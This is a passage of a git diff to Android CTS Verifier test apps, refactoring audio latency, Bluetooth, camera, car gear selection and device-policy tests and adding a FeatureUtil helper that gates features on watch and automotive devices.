-                case R.id.audio_loopback_test_btn:
-                    Log.i(TAG, "audio loopback test");
-                    startAudioTest();
-                    break;
-            }
-        }
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        // we need to do this first so that the layout is inplace when the super-class inits
-        setContentView(R.layout.audio_loopback_latency_activity);
-
-        mTestButton =(Button)findViewById(R.id.audio_loopback_test_btn);
-        mTestButton.setOnClickListener(mBtnClickListener);
-
-        setPassFailButtonClickListeners();
-        getPassButton().setEnabled(false);
-        setInfoResources(R.string.audio_loopback_latency_test, R.string.audio_loopback_info, -1);
-
-        super.onCreate(savedInstanceState);
-    }
-
-    protected void startAudioTest() {
-        mTestButton.setEnabled(false);
-        super.startAudioTest(mMessageHandler);
-    }
-
-    protected void handleTestCompletion() {
-        super.handleTestCompletion();
-
-        // We are not enforcing the latency target (PROAUDIO_LATENCY_MS_LIMIT)
-        // test is allowed to pass as long as an analysis is done.
-        boolean resultValid =
-                isPeripheralValidForTest()
-                && mMeanConfidence >= CONFIDENCE_THRESHOLD
-                && mMeanLatencyMillis > EPSILON
-                && mMeanLatencyMillis < mMustLatency;
-
-        getPassButton().setEnabled(resultValid);
-
-        recordTestResults();
-
-        showWait(false);
-        mTestButton.setEnabled(true);
-    }
-
-    /**
-     * Store test results in log
-     */
-    @Override
-    public String getTestId() {
-        return setTestNameSuffix(sCurrentDisplayMode, getClass().getName());
-    }
-
-    @Override
-    public void recordTestResults() {
-        Log.d(TAG, "recordTestResults()");
-        super.recordTestResults();
-
-        CtsVerifierReportLog reportLog = getReportLog();
-        int audioLevel = mAudioLevelSeekbar.getProgress();
-        reportLog.addValue(
-                KEY_LEVEL,
-                audioLevel,
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-
-        reportLog.addValue(
-                KEY_BUFFER_SIZE,
-                mMinBufferSizeInFrames,
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-
-        reportLog.submit();
-    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutColdStartLatencyActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutColdStartLatencyActivity.java
index 8f6c7f9..40ba9eb 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutColdStartLatencyActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutColdStartLatencyActivity.java
@@ -112,10 +112,6 @@
         return mColdStartlatencyMS;
     }
 
-    protected void stopAudio() {
-        stopAudioTest();
-    }
-
     void startOutTimer() {
         TimerTask task = new TimerTask() {
             public void run() {
@@ -125,16 +121,16 @@
                         @Override
                         public void run() {
                             calcColdStartLatency(mPullTimestamp);
-                            showColdStartLatency();
                             stopAudioTest();
                             updateTestStateButtons();
+                            showColdStartLatency();
                             calcTestResult();
                         }
                     });
 
                 } else {
                     Log.e(TAG, "NO TIME STAMP");
-                    mResultsTxt.setText("NO TIME STAMP");
+                    mLatencyTxt.setText("NO TIME STAMP");
                 }
 
                 mTimer = null;
@@ -152,6 +148,16 @@
         }
     }
 
+    @Override
+    int getRequiredTimeMS() {
+        return LATENCY_MS_MUST;
+    }
+
+    @Override
+    int getRecommendedTimeMS() {
+        return LATENCY_MS_RECOMMEND;
+    }
+
     //
     // Audio Streaming
     //
@@ -177,7 +183,7 @@
             mIsTestRunning = true;
         } catch (PlayerBuilder.BadStateException badStateException) {
             Log.e(TAG, "BadStateException: " + badStateException);
-            mResultsTxt.setText("Can't Start Player.");
+            mLatencyTxt.setText("Can't Start Player.");
             mIsTestRunning = false;
         }
 
@@ -198,6 +204,8 @@
         }
 
         mPlayer.stopStream();
+        mPlayer.teardownStream();
+
         mIsTestRunning = false;
 
         stopOutTimer();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/battery/IgnoreBatteryOptimizationsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/battery/IgnoreBatteryOptimizationsTestActivity.java
index 29e23c7..beed70a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/battery/IgnoreBatteryOptimizationsTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/battery/IgnoreBatteryOptimizationsTestActivity.java
@@ -77,12 +77,6 @@
         return true;
     }
 
-    private void openAppInfoPage() {
-        Intent appInfoIntent = new Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS);
-        appInfoIntent.setData(Uri.parse("package:" + getPackageName()));
-        startActivity(appInfoIntent);
-    }
-
     private void openIgnoreBatteryOptimizationsAppList() {
         Intent intent = new Intent(Settings.ACTION_IGNORE_BATTERY_OPTIMIZATION_SETTINGS);
         startActivity(intent);
@@ -101,7 +95,7 @@
         @Override
         protected void onNextClick() {
             if (isExempted()) {
-                openAppInfoPage();
+                openIgnoreBatteryOptimizationsAppList();
             } else {
                 succeed();
             }
@@ -151,7 +145,7 @@
         @Override
         protected void onNextClick() {
             if (isExempted()) {
-                openAppInfoPage();
+                openIgnoreBatteryOptimizationsAppList();
             } else {
                 succeed();
             }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
index bfcd85d..a05daae 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
@@ -28,6 +28,7 @@
 import android.content.IntentFilter;
 import android.os.Bundle;
 import android.os.Handler;
+import android.util.Log;
 import android.widget.ListView;
 
 import com.android.cts.verifier.PassFailButtons;
@@ -35,7 +36,6 @@
 
 import java.util.ArrayList;
 import java.util.List;
-import android.util.Log;
 
 public class BleClientTestBaseActivity extends PassFailButtons.Activity {
     public static final String TAG = "BleClientTestBase";
@@ -104,8 +104,8 @@
     }
 
     @Override
-    public void onResume() {
-        super.onResume();
+    public void onStart() {
+        super.onStart();
 
         IntentFilter filter = new IntentFilter();
         filter.addAction(BleClientService.BLE_BLUETOOTH_CONNECTED);
@@ -138,10 +138,15 @@
     @Override
     public void onPause() {
         super.onPause();
-        unregisterReceiver(mBroadcast);
         closeDialog();
     }
 
+    @Override
+    public void onStop() {
+        super.onStop();
+        unregisterReceiver(mBroadcast);
+    }
+
     private synchronized void closeDialog() {
         if (mDialog != null) {
             mDialog.dismiss();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientTestListActivity.java
index 54f8ad1..90848a9 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientTestListActivity.java
@@ -17,7 +17,9 @@
 package com.android.cts.verifier.bluetooth;

 

 import android.bluetooth.BluetoothAdapter;

+import android.content.pm.PackageManager;

 import android.os.Bundle;

+import android.os.SystemProperties;

 

 import com.android.cts.verifier.ManifestTestListAdapter;

 import com.android.cts.verifier.PassFailButtons;

@@ -42,6 +44,16 @@
                     "com.android.cts.verifier.bluetooth.BleAdvertiserHardwareScanFilterActivity.");

         }

 

+        // RPA is optional on TVs already released before Android 11

+        boolean isTv = getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK);

+        int firstSdk = SystemProperties.getInt("ro.product.first_api_level", 0);

+        if (isTv && (firstSdk <= 29)) {

+            disabledTest.add(

+                    "com.android.cts.verifier.bluetooth.BleSecureConnectionPriorityClientTestActivity");

+            disabledTest.add(

+                    "com.android.cts.verifier.bluetooth.BleSecureEncryptedClientTestActivity");

+        }

+

         setTestListAdapter(new ManifestTestListAdapter(this, getClass().getName(),

                 disabledTest.toArray(new String[disabledTest.size()])));

     }

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
index 63d9687..69a63f2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
@@ -737,9 +737,9 @@
                     doCheckStreamCombination(cmdObj);
                 } else if ("isCameraPrivacyModeSupported".equals(cmdObj.getString("cmdName"))) {
                     doCheckCameraPrivacyModeSupport();
-                } else if ("isPerformanceClassPrimaryCamera".equals(cmdObj.getString("cmdName"))) {
+                } else if ("getPerformanceClassLevel".equals(cmdObj.getString("cmdName"))) {
                     String cameraId = cmdObj.getString("cameraId");
-                    doCheckPerformanceClassPrimaryCamera(cameraId);
+                    doGetPerformanceClassLevel(cameraId);
                 } else if ("measureCameraLaunchMs".equals(cmdObj.getString("cmdName"))) {
                     String cameraId = cmdObj.getString("cameraId");
                     doMeasureCameraLaunchMs(cameraId);
@@ -1082,9 +1082,9 @@
                 hasPrivacySupport ? "true" : "false");
     }
 
-    private void doCheckPerformanceClassPrimaryCamera(String cameraId) throws ItsException {
-        boolean  isPerfClass = (Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_S
-                || Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_R);
+    private void doGetPerformanceClassLevel(String cameraId) throws ItsException {
+        boolean isSPerfClass = (Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_S);
+        boolean isRPerfClass = (Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_R);
 
         if (mItsCameraIdList == null) {
             mItsCameraIdList = ItsUtils.getItsCompatibleCameraIds(mCameraManager);
@@ -1116,8 +1116,9 @@
             throw new ItsException("Failed to get camera characteristics", e);
         }
 
-        mSocketRunnableObj.sendResponse("performanceClassPrimaryCamera",
-                (isPerfClass && isPrimaryCamera) ? "true" : "false");
+        mSocketRunnableObj.sendResponse("performanceClassLevel",
+                (isSPerfClass && isPrimaryCamera) ? "12" :
+                ((isRPerfClass && isPrimaryCamera) ? "11" : "0"));
     }
 
     private double invokeCameraPerformanceTest(Class testClass, String testName,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/car/GearSelectionTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/car/GearSelectionTestActivity.java
index ed5cfc9..c926d1a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/car/GearSelectionTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/car/GearSelectionTestActivity.java
@@ -18,29 +18,37 @@
 
 import android.car.Car;
 import android.car.VehicleGear;
+import android.car.VehiclePropertyIds;
 import android.car.hardware.CarPropertyConfig;
 import android.car.hardware.CarPropertyValue;
 import android.car.hardware.property.CarPropertyManager;
-import android.car.VehicleAreaType;
-import android.car.VehiclePropertyIds;
 import android.os.Bundle;
-import android.widget.TextView;
-import android.util.ArraySet;
 import android.util.Log;
+import android.widget.TextView;
 
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 
-import java.util.Arrays;
 import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
 
 /** A CTS Verifier test case to verify GEAR_SELECTION is implemented correctly.*/
-public class GearSelectionTestActivity extends PassFailButtons.Activity {
+public final class GearSelectionTestActivity extends PassFailButtons.Activity {
     private static final String TAG = GearSelectionTestActivity.class.getSimpleName();
+
+    // Need to finish the test in 10 minutes.
+    private static final long TEST_TIMEOUT_MINUTES = 10;
+
     private List<Integer> mSupportedGears;
-    private int mGearsAchievedCount = 0;
+    private Integer mGearsAchievedCount = 0;
     private TextView mExpectedGearSelectionTextView;
     private TextView mCurrentGearSelectionTextView;
+    private CarPropertyManager mCarPropertyManager;
+    private ExecutorService mExecutor;
+    private GearSelectionCallback mGearSelectionCallback = new GearSelectionCallback();
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
@@ -54,30 +62,58 @@
 
         mExpectedGearSelectionTextView = (TextView) findViewById(R.id.expected_gear_selection);
         mCurrentGearSelectionTextView = (TextView) findViewById(R.id.current_gear_selection);
-
-        CarPropertyManager carPropertyManager =
-            (CarPropertyManager) Car.createCar(this).getCarManager(Car.PROPERTY_SERVICE);
-
-        // TODO(b/138961351): Verify test works on manual transmission.
-        mSupportedGears = carPropertyManager.getPropertyList(new ArraySet<>(Arrays.asList(new
-                Integer[]{VehiclePropertyIds.GEAR_SELECTION}))).get(0).getConfigArray();
-
-        if(mSupportedGears.size() != 0){
-          Log.i(TAG, "New Expected Gear: " + VehicleGear.toString(mSupportedGears.get(0)));
-          mExpectedGearSelectionTextView.setText(VehicleGear.toString(mSupportedGears.get(0)));
-        } else {
-          Log.e(TAG, "No gears specified in the config array of GEAR_SELECTION property");
-          mExpectedGearSelectionTextView.setText("ERROR");
-        }
-
-        if(!carPropertyManager.registerCallback(mCarPropertyEventCallback,
-            VehiclePropertyIds.GEAR_SELECTION, CarPropertyManager.SENSOR_RATE_ONCHANGE)) {
-          Log.e(TAG, "Failed to register callback for GEAR_SELECTION with CarPropertyManager");
-        }
+        mExecutor = Executors.newSingleThreadExecutor();
+        setUpTest();
     }
 
-    private final CarPropertyManager.CarPropertyEventCallback mCarPropertyEventCallback =
-      new CarPropertyManager.CarPropertyEventCallback() {
+    private void setUpTest() {
+        mCarPropertyManager =
+                (CarPropertyManager) Car.createCar(this).getCarManager(Car.PROPERTY_SERVICE);
+        if (mCarPropertyManager == null) {
+            Log.e(TAG, "Failed to get CarPropertyManager");
+            mExpectedGearSelectionTextView.setText("CONNECTING ERROR");
+            return;
+        }
+
+        //Verify property config
+        CarPropertyConfig<?> gearConfig = mCarPropertyManager.getCarPropertyConfig(
+                VehiclePropertyIds.GEAR_SELECTION);
+        if (gearConfig == null || gearConfig.getConfigArray().size() == 0) {
+            Log.e(TAG, "No gears specified in the config array of GEAR_SELECTION property");
+            mExpectedGearSelectionTextView.setText("GEAR CONFIG ERROR");
+            return;
+        }
+
+        //Register the callback for testing
+        mSupportedGears = gearConfig.getConfigArray();
+        Log.i(TAG, "New Expected Gear: " + VehicleGear.toString(mSupportedGears.get(0)));
+        mExpectedGearSelectionTextView.setText(VehicleGear.toString(mSupportedGears.get(0)));
+        mGearSelectionCallback = new GearSelectionCallback();
+        mGearSelectionCallback.setSupportedGearCounter(mSupportedGears.size());
+        if (!mCarPropertyManager.registerCallback(mGearSelectionCallback,
+                VehiclePropertyIds.GEAR_SELECTION, CarPropertyManager.SENSOR_RATE_ONCHANGE)) {
+            Log.e(TAG,
+                    "Failed to register callback for GEAR_SELECTION with CarPropertyManager");
+            mExpectedGearSelectionTextView.setText("CONNECTING ERROR");
+            return;
+        }
+
+        //Unregister if test is timeout
+        mExecutor.execute(() -> {
+            try {
+                mGearSelectionCallback.unregisterIfTimeout();
+            } catch (InterruptedException e) {
+                Log.e(TAG, "Test is interrupted: " + e);
+                mExpectedGearSelectionTextView.setText("INTERRUPTED");
+                Thread.currentThread().interrupt();
+            }
+        });
+    }
+
+    private final class GearSelectionCallback implements
+            CarPropertyManager.CarPropertyEventCallback {
+        private CountDownLatch mCountDownLatch;
+        private int mVerifyingIndex;
         @Override
         public void onChangeEvent(CarPropertyValue value) {
             if(value.getStatus() != CarPropertyValue.STATUS_AVAILABLE) {
@@ -89,26 +125,23 @@
             mCurrentGearSelectionTextView.setText(VehicleGear.toString(newGearSelection));
             Log.i(TAG, "New Gear Selection: " + VehicleGear.toString(newGearSelection));
 
-            if (mSupportedGears.size() == 0) {
-                Log.e(TAG, "No gears specified in the config array of GEAR_SELECTION property");
-                return;
-            }
-
             // Check to see if new gear matches the expected gear.
-            if (newGearSelection.equals(mSupportedGears.get(mGearsAchievedCount))) {
-                mGearsAchievedCount++;
+            if (newGearSelection.equals(mSupportedGears.get(mVerifyingIndex))) {
+                mCountDownLatch.countDown();
+                mVerifyingIndex++;
                 Log.i(TAG, "Matched gear: " + VehicleGear.toString(newGearSelection));
-                // Check to see if the test is finished.
-                if (mGearsAchievedCount >= mSupportedGears.size()) {
+                if (mCountDownLatch.getCount() != 0) {
+                    // Test is not finished so update the expected gear.
+                    mExpectedGearSelectionTextView.setText(
+                            VehicleGear.toString(mSupportedGears.get(mVerifyingIndex)));
+                    Log.i(TAG, "New Expected Gear: "
+                            + VehicleGear.toString(mSupportedGears.get(mVerifyingIndex)));
+                } else {
+                    // Test is finished, unregister the callback
+                    mCarPropertyManager.unregisterCallback(mGearSelectionCallback);
                     mExpectedGearSelectionTextView.setText("Finished");
                     getPassButton().setEnabled(true);
                     Log.i(TAG, "Finished Test");
-                } else {
-                    // Test is not finished so update the expected gear.
-                    mExpectedGearSelectionTextView.setText(
-                        VehicleGear.toString(mSupportedGears.get(mGearsAchievedCount)));
-                    Log.i(TAG, "New Expected Gear: " + 
-                        VehicleGear.toString(mSupportedGears.get(mGearsAchievedCount)));
                 }
             }
         }
@@ -117,5 +150,17 @@
         public void onErrorEvent(int propId, int zone) {
             Log.e(TAG, "propId: " + propId + " zone: " + zone);
         }
-      };
+
+        public void setSupportedGearCounter(int counter) {
+            mCountDownLatch = new CountDownLatch(counter);
+        }
+
+        public void unregisterIfTimeout() throws InterruptedException {
+            if (!mCountDownLatch.await(TEST_TIMEOUT_MINUTES, TimeUnit.MINUTES)) {
+                Log.e(TAG, "Failed to complete tests in 10 minutes");
+                runOnUiThread(() -> mExpectedGearSelectionTextView.setText("Failed(Timeout)"));
+                mCarPropertyManager.unregisterCallback(mGearSelectionCallback);
+            }
+        }
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
new file mode 100644
index 0000000..1fe4768
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.features;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.os.UserManager;
+
+/**
+ * Feature without feature flag for now will be skipped based on the devices temporarily.
+ * TODO(b/189282625): replace device feature with a more specific feature.
+ */
+public final class FeatureUtil {
+
+    private FeatureUtil() {
+        throw new AssertionError();
+    }
+
+    /**
+     * Checks whether the device supports configing (e.g. disable, enable) location
+     */
+    public static boolean isConfigLocationSupported(Context context) {
+        return !isWatchOrAutomotive(context);
+    }
+
+    /**
+     * Checks whether the device supports configing lock screen
+     */
+    public static boolean isConfigLockScreenSupported(Context context) {
+        return !isWatchOrAutomotive(context);
+    }
+
+    /**
+     * Checks whether the device supports Easter egg / game
+     */
+    public static boolean isFunSupported(Context context) {
+        return !isWatchOrAutomotive(context);
+    }
+
+    /**
+     * Checks whether the device supports screen timeout
+     */
+    public static boolean isScreenTimeoutSupported(Context context) {
+        return !isWatchOrAutomotive(context);
+    }
+
+    /**
+     * Checks whether the device supports third party accessibility service
+     */
+    public static boolean isThirdPartyAccessibilityServiceSupported(Context context) {
+        return !isWatchOrAutomotive(context);
+    }
+
+    /**
+     * Checks whether the device supports configuring VPN
+     */
+    public static boolean isConfigVpnSupported(Context context) {
+        return !isWatchOrAutomotive(context);
+    }
+
+    /**
+     * Checks whether the device is watch or automotive
+     */
+    private static boolean isWatchOrAutomotive(Context context) {
+        PackageManager pm = context.getPackageManager();
+        return pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
+                || pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+    }
+
+    /**
+     * Checks whether the device supports managed secondary users.
+     */
+    public static boolean supportManagedSecondaryUsers(Context context) {
+        return (context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_MANAGED_USERS)
+                || UserManager.isHeadlessSystemUserMode()) && UserManager.supportsMultipleUsers();
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
index 168ba1e..4552ccc 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
@@ -196,7 +196,6 @@
             // user mode it runs in a different user.
             // Most DPM operations must be set on device owner user, but a few - like adding user
             // restrictions - must be set in the current user.
-
             boolean useCurrentUserDpm = intent.getBooleanExtra(EXTRA_USE_CURRENT_USER_DPM, false);
             mDpm = useCurrentUserDpm
                     ? getSystemService(DevicePolicyManager.class)
@@ -205,14 +204,15 @@
 
             mUm = (UserManager) getSystemService(Context.USER_SERVICE);
             mAdmin = DeviceAdminTestReceiver.getReceiverComponentName();
-            final String command = getIntent().getStringExtra(EXTRA_COMMAND);
+            final String command = intent.getStringExtra(EXTRA_COMMAND);
             Log.i(TAG, "Command: " + command);
             switch (command) {
                 case COMMAND_SET_USER_RESTRICTION: {
                     String restrictionKey = intent.getStringExtra(EXTRA_USER_RESTRICTION);
                     boolean enforced = intent.getBooleanExtra(EXTRA_ENFORCED, false);
-                    Log.i(TAG, "Setting '" + restrictionKey + "'=" + enforced + " using " + mDpm
-                            + " on user " + UserHandle.myUserId());
+                    Log.i(TAG, "Setting '" + restrictionKey + "'=" + enforced
+                            + " using " + mDpm + " on user "
+                            + (useCurrentUserDpm ? UserHandle.myUserId() : UserHandle.SYSTEM));
                     if (enforced) {
                         mDpm.addUserRestriction(mAdmin, restrictionKey);
                     } else {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
index 9d49028..6b16e72 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
@@ -40,6 +40,7 @@
 import com.android.cts.verifier.R;
 import com.android.cts.verifier.TestListAdapter.TestListItem;
 import com.android.cts.verifier.TestResult;
+import com.android.cts.verifier.features.FeatureUtil;
 
 /**
  * Activity that lists all positive device owner tests. Requires the following adb command be issued
@@ -252,7 +253,7 @@
                                     R.string.device_owner_user_restriction_unset,
                                     CommandReceiverActivity.createSetCurrentUserRestrictionIntent(
                                             UserManager.DISALLOW_CONFIG_WIFI, false))
-            }));
+                    }));
         }
 
         // DISALLOW_AMBIENT_DISPLAY.
@@ -272,8 +273,7 @@
         //                         new Intent(Settings.ACTION_DISPLAY_SETTINGS))}));
 
         // DISALLOW_CONFIG_VPN
-        // TODO(b/189282625): replace FEATURE_WATCH with a more specific feature
-        if (!packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)) {
+        if (FeatureUtil.isConfigVpnSupported(this)) {
             adapter.add(createInteractiveTestItem(this, DISALLOW_CONFIG_VPN_ID,
                     R.string.device_owner_disallow_config_vpn,
                     R.string.device_owner_disallow_config_vpn_info,
@@ -468,8 +468,7 @@
                 R.string.enterprise_privacy_test,
                 enterprisePolicyTestIntent));
 
-        if (packageManager.hasSystemFeature(PackageManager.FEATURE_MANAGED_USERS)
-                && UserManager.supportsMultipleUsers()) {
+        if (FeatureUtil.supportManagedSecondaryUsers(this)) {
             // Managed user
             adapter.add(createInteractiveTestItem(this, MANAGED_USER_TEST_ID,
                     R.string.managed_user_test,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/IntentFiltersTestHelper.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/IntentFiltersTestHelper.java
index 83fe87c..70aaab5 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/IntentFiltersTestHelper.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/IntentFiltersTestHelper.java
@@ -228,9 +228,7 @@
         }
 
         if (pm.hasSystemFeature(PackageManager.FEATURE_MICROPHONE)) {
-            forwardedIntentsFromManaged.addAll(Arrays.asList(
-                    new Intent(MediaStore.Audio.Media.RECORD_SOUND_ACTION),
-                    new Intent(RecognizerIntent.ACTION_RECOGNIZE_SPEECH)));
+            forwardedIntentsFromManaged.add(new Intent(MediaStore.Audio.Media.RECORD_SOUND_ACTION));
         }
 
         if (pm.hasSystemFeature(PackageManager.FEATURE_LOCATION)) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java
index c5257ba..6dd31f8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java
@@ -28,6 +28,7 @@
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 import com.android.cts.verifier.TestListAdapter.TestListItem;
+import com.android.cts.verifier.features.FeatureUtil;
 
 import java.util.Arrays;
 import java.util.List;
@@ -140,28 +141,30 @@
     private void addTestsToAdapter(final ArrayTestListAdapter adapter) {
         for (String restriction :
                 UserRestrictions.getUserRestrictionsForPolicyTransparency(mMode)) {
-            final Intent intent = UserRestrictions.getUserRestrictionTestIntent(this, restriction);
+            Intent intent =
+                    UserRestrictions.getUserRestrictionTestIntent(this, restriction, mMode);
             if (!UserRestrictions.isRestrictionValid(this, restriction)) {
                 continue;
             }
-            final String title = UserRestrictions.getRestrictionLabel(this, restriction);
+            String title = UserRestrictions.getRestrictionLabel(this, restriction);
             String testId = getTestId(title);
             intent.putExtra(PolicyTransparencyTestActivity.EXTRA_TEST_ID, testId);
             adapter.add(TestListItem.newTest(title, testId, intent, null));
         }
         for (Pair<Intent, Integer> policy : POLICIES) {
-            final Intent intent = policy.first;
+            Intent intent = policy.first;
             String test = intent.getStringExtra(PolicyTransparencyTestActivity.EXTRA_TEST);
             if (!isPolicyValid(test)) {
                 continue;
             }
+
             if (mMode == MODE_MANAGED_PROFILE && !ALSO_VALID_FOR_MANAGED_PROFILE.contains(test)) {
                 continue;
             }
             if (mMode == MODE_MANAGED_USER && !ALSO_VALID_FOR_MANAGED_USER.contains(test)) {
                 continue;
             }
-            final String title = getString(policy.second);
+            String title = getString(policy.second);
             String testId = getTestId(title);
             intent.putExtra(PolicyTransparencyTestActivity.EXTRA_TITLE, title);
             intent.putExtra(PolicyTransparencyTestActivity.EXTRA_TEST_ID, testId);
@@ -185,16 +188,14 @@
         switch (test) {
             case PolicyTransparencyTestActivity.TEST_CHECK_PERMITTED_INPUT_METHOD:
                 return pm.hasSystemFeature(PackageManager.FEATURE_INPUT_METHODS);
-            // TODO(b/189282625): replace FEATURE_WATCH with a more specific feature
             case PolicyTransparencyTestActivity.TEST_CHECK_PERMITTED_ACCESSIBILITY_SERVICE:
                 return (pm.hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)
-                    && !pm.hasSystemFeature(PackageManager.FEATURE_WATCH));
-            // TODO(b/189282625): replace FEATURE_WATCH with a more specific feature
+                        && FeatureUtil.isThirdPartyAccessibilityServiceSupported(this));
             case PolicyTransparencyTestActivity.TEST_CHECK_KEYGURAD_UNREDACTED_NOTIFICATION:
             case PolicyTransparencyTestActivity.TEST_CHECK_LOCK_SCREEN_INFO:
             case PolicyTransparencyTestActivity.TEST_CHECK_MAXIMUM_TIME_TO_LOCK:
                 return (pm.hasSystemFeature(PackageManager.FEATURE_SECURE_LOCK_SCREEN)
-                    && !pm.hasSystemFeature(PackageManager.FEATURE_WATCH));
+                        && FeatureUtil.isConfigLockScreenSupported(this));
             default:
                 return true;
         }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
index 6a91c06..dceb747 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
@@ -28,6 +28,7 @@
 import android.util.ArrayMap;
 
 import com.android.cts.verifier.R;
+import com.android.cts.verifier.features.FeatureUtil;
 
 import java.util.ArrayList;
 import java.util.Arrays;
@@ -160,6 +161,39 @@
         }
     }
 
+    /**
+     * Copied from UserRestrictionsUtils. User restrictions that cannot be set by profile owners.
+     * Applied to all users.
+     */
+    private static final List<String> DEVICE_OWNER_ONLY_RESTRICTIONS =
+            Arrays.asList(
+                    UserManager.DISALLOW_USER_SWITCH,
+                    UserManager.DISALLOW_CONFIG_PRIVATE_DNS,
+                    UserManager.DISALLOW_MICROPHONE_TOGGLE,
+                    UserManager.DISALLOW_CAMERA_TOGGLE);
+
+    /**
+     * Copied from UserRestrictionsUtils. User restrictions that cannot be set by profile owners
+     * of secondary users. When set by DO they will be applied to all users.
+     */
+    private static final List<String> PRIMARY_USER_ONLY_RESTRICTIONS =
+            Arrays.asList(
+                    UserManager.DISALLOW_BLUETOOTH,
+                    UserManager.DISALLOW_USB_FILE_TRANSFER,
+                    UserManager.DISALLOW_CONFIG_TETHERING,
